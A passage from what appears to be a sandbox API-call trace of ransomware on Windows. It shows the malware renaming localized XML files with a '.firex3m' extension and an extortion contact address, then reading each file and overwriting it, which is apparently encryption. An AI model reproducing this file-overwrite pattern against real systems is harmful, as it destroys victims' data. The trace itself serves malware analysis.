files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0221.877] CloseHandle (hObject=0x4e4) returned 1 [0221.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.877] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0221.879] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0221.879] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0221.879] GetProcessHeap () returned 0x630000 [0221.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0221.880] GetProcessHeap () returned 0x630000 [0221.880] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7a60 [0221.880] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.880] ReadFile (in: hFile=0x4e4, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x65fff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.883] GetProcessHeap () returned 0x630000 [0221.883] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0221.883] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.883] WriteFile (in: hFile=0x4e4, lpBuffer=0x6d7a60*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a60*, lpNumberOfBytesWritten=0x65fff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.883] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.883] WriteFile (in: hFile=0x4e4, lpBuffer=0x6d7c9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7c9f*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.883] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.883] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.884] CloseHandle (hObject=0x4e4) returned 1 [0221.884] GetProcessHeap () returned 0x630000 [0221.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7a60 | out: hHeap=0x630000) returned 1 [0221.884] GetProcessHeap () returned 0x630000 [0221.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0221.884] GetProcessHeap () returned 0x630000 [0221.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0221.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4a3274ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x65ffd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e00 [0221.884] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0221.884] Sleep (dwMilliseconds=0x1) [0223.116] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x65fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml") returned 1 [0223.116] GetProcessHeap () returned 0x630000 [0223.116] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5168) returned 0x6fe3bb0 [0223.116] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0224.547] CloseHandle (hObject=0x6e4) returned 1 [0224.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0224.548] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x3, dwReserved1=0x800001, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0234.099] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0234.099] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0234.100] GetProcessHeap () returned 0x630000 [0234.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d00b0 [0234.100] GetProcessHeap () returned 0x630000 [0234.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0da0 [0234.100] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.100] ReadFile (in: hFile=0x6e4, lpBuffer=0x6d00b0, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d00b0*, lpNumberOfBytesRead=0x65fff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0234.105] GetProcessHeap () returned 0x630000 [0234.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0234.105] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.105] WriteFile (in: hFile=0x6e4, lpBuffer=0x6d0da0*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0da0*, lpNumberOfBytesWritten=0x65fff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0234.105] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.106] WriteFile (in: hFile=0x6e4, lpBuffer=0x6d0f7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0f7f*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.106] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.106] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.106] CloseHandle (hObject=0x6e4) returned 1 [0234.106] GetProcessHeap () returned 0x630000 [0234.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0da0 | out: hHeap=0x630000) returned 1 [0234.106] GetProcessHeap () returned 0x630000 [0234.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d00b0 | out: hHeap=0x630000) returned 1 [0234.106] GetProcessHeap () returned 0x630000 [0234.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0235.156] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x517b66a3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x65ffd20, dwReserved1=0x6d00b0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.156] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.156] Sleep (dwMilliseconds=0x1) [0235.201] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x65fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml") returned 1 [0235.201] GetProcessHeap () returned 0x630000 [0235.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5084) returned 0x6fe3bb0 [0235.201] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0235.202] CloseHandle (hObject=0x42c) returned 1 [0235.202] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.202] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.203] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0235.203] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.203] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0235.203] GetProcessHeap () returned 0x630000 [0235.203] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbef8 [0235.203] GetProcessHeap () returned 0x630000 [0235.203] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbb48 [0235.203] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.203] ReadFile (in: hFile=0x42c, lpBuffer=0x6dbef8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbef8*, lpNumberOfBytesRead=0x65fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.206] GetProcessHeap () returned 0x630000 [0235.206] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0235.206] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.206] WriteFile (in: hFile=0x42c, lpBuffer=0x6dbb48*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbb48*, lpNumberOfBytesWritten=0x65fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.206] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.206] WriteFile (in: hFile=0x42c, lpBuffer=0x6dbce7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbce7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.206] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.206] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.206] CloseHandle (hObject=0x42c) returned 1 [0235.206] GetProcessHeap () returned 0x630000 [0235.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbb48 | out: hHeap=0x630000) returned 1 [0235.206] GetProcessHeap () returned 0x630000 [0235.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbef8 | out: hHeap=0x630000) returned 1 [0235.207] GetProcessHeap () returned 0x630000 [0235.207] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0235.207] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5224b02f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x65ffd20, dwReserved1=0x6dbef8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0235.207] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.207] Sleep (dwMilliseconds=0x1) [0235.314] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x65fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml") returned 1 [0235.314] GetProcessHeap () returned 0x630000 [0235.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x506c) returned 0x6fe3bb0 [0235.314] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0235.315] CloseHandle (hObject=0x4e4) returned 1 [0235.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.315] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5540 [0235.316] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0235.316] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0235.316] GetProcessHeap () returned 0x630000 [0235.316] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc0d0 [0235.316] GetProcessHeap () returned 0x630000 [0235.316] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc658 [0235.316] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.316] ReadFile (in: 